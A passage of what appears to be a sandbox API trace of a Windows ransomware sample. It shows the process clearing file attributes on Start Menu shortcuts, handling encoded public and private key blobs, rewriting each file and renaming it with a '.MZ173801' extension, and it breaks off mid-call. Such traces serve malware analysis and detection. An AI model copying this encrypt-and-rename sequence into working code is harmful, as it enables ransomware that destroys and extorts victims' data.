[0208.400] GetCurrentThreadId () returned 0xab4 [0208.400] GetCurrentThreadId () returned 0xab4 [0208.400] GetCurrentThreadId () returned 0xab4 [0208.400] GetCurrentThreadId () returned 0xab4 [0208.400] GetCurrentThreadId () returned 0xab4 [0208.400] GetCurrentThreadId () returned 0xab4 [0208.400] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x97a9db13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97a9db13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97a9db13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x92d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Immersive Control Panel.lnk", cAlternateFileName="")) returned 1 [0208.403] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0208.403] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0208.403] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\immersive control panel.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x97a9db13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97a9db13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97a9db13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x92d)) returned 1 [0208.421] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\immersive control panel.lnk")) returned 0x25 [0208.421] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk", dwFileAttributes=0x80) returned 1 [0208.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0208.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0208.535] GetCurrentThreadId () returned 0xab4 [0208.535] GetCurrentThreadId () returned 0xab4 [0208.535] GetCurrentThreadId () returned 0xab4 [0208.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0208.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0208.536] GetCurrentThreadId () returned 0xab4 [0208.536] GetCurrentThreadId () returned 0xab4 [0208.536] GetCurrentThreadId () returned 0xab4 [0208.536] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\immersive control panel.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0208.584] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0208.584] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0208.584] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x92d [0208.584] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0208.584] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x92d, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x92d, lpOverlapped=0x0) returned 1 [0208.597] CloseHandle (hObject=0x328) returned 1 [0208.597] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\immersive control panel.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0208.675] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x92d, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x92d, lpOverlapped=0x0) returned 1 [0208.676] CloseHandle (hObject=0x328) returned 1 [0208.750] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\immersive control panel.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\immersive control panel.lnk.mz173801")) returned 1 [0208.851] GetCurrentThreadId () returned 0xab4 [0208.851] GetCurrentThreadId () returned 0xab4 [0208.851] GetCurrentThreadId () returned 0xab4 [0208.851] GetCurrentThreadId () returned 0xab4 [0208.851] GetCurrentThreadId () returned 0xab4 [0208.851] GetCurrentThreadId () returned 0xab4 [0208.851] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabaf4d3e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Java", cAlternateFileName="")) returned 1 [0208.851] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc248d7d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0208.851] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Microsoft Office 2016 Tools", cAlternateFileName="MICROS~1")) returned 1 [0208.851] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x496f62c5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x496f62c5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x496f62c5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8ab, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="MiracastView.lnk", cAlternateFileName="")) returned 1 [0208.851] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0208.851] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0208.851] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\miracastview.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x496f62c5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x496f62c5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x496f62c5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8ab)) returned 1 [0208.852] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\miracastview.lnk")) returned 0x25 [0208.853] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk", dwFileAttributes=0x80) returned 1 [0209.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 